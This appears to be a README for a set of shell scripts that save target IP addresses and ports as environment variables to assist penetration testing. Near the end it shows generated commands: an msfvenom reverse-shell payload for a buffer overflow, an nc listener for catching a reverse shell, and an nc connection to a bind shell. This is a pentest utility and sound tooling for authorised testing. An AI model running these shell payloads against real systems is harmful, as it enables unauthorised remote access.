This project is a set of shell scripts that expand your shell with exported variables that you set and updates your shell environment instantly.
Run as root:
# ./install.sh
The _target script saves IPv4 addresses, or changes IPv4 address if field already exists:
$ _target -t 127.0.0.1
This version saves another address with number specified by -n flag:
$ _target -t 173.194.222.106 -n 1
The _port works the same as _target but saves port values:
$ _port -p 1337
Also can save more than one port as in -n flag:
$ _port -p 1338 -n 1
Importnant note: after executing _target or _port scripts new variables will be loaded into shell environment.
The _options script parses dotfile and outputs its contents with some additional information in the following pattern:
- available network interfaces/your localhost's corresponding IPv4 addresses/network's gateway IPv4 addresses
- saved target addresses/their status: ONLINE/OFFLINE
- saved port values
~$ _options
Localhost interfaces:
interface: enp3s0
enp3s0_ip: 10.0.1.3
enp3s0_g: 10.0.1.1
interface: tun0
tun0_ip: 10.8.111.27
tun0_g: 10.8.111.1
Target variables:
name: target1 value: 173.194.222.106 host status: ONLINE
name: target value: 127.0.0.1 host status: ONLINE
Port variables:
name: port value: 1337
name: port1 value: 1338
The _pentest_assist script parses dotfile, substitutes variables' corresponding values, as a result constructing commands specified with -m (mode) flag:
$ _pentest_assist -m useful-payloads -i tun0
┌ Reverse shell payload for buffer overflow
1. msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.8.111.27 LPORT=1337 --platform linux --arch x86 --format c
State your choice: 1
Or:
$ _pentest_assist -m nc
┌ Catch reverse shell from exploited target:
1. nc -nlvp 1337
┌ Connect to bind shell on the exloited target:
2. nc 127.0.0.1 1337
State your choice: 2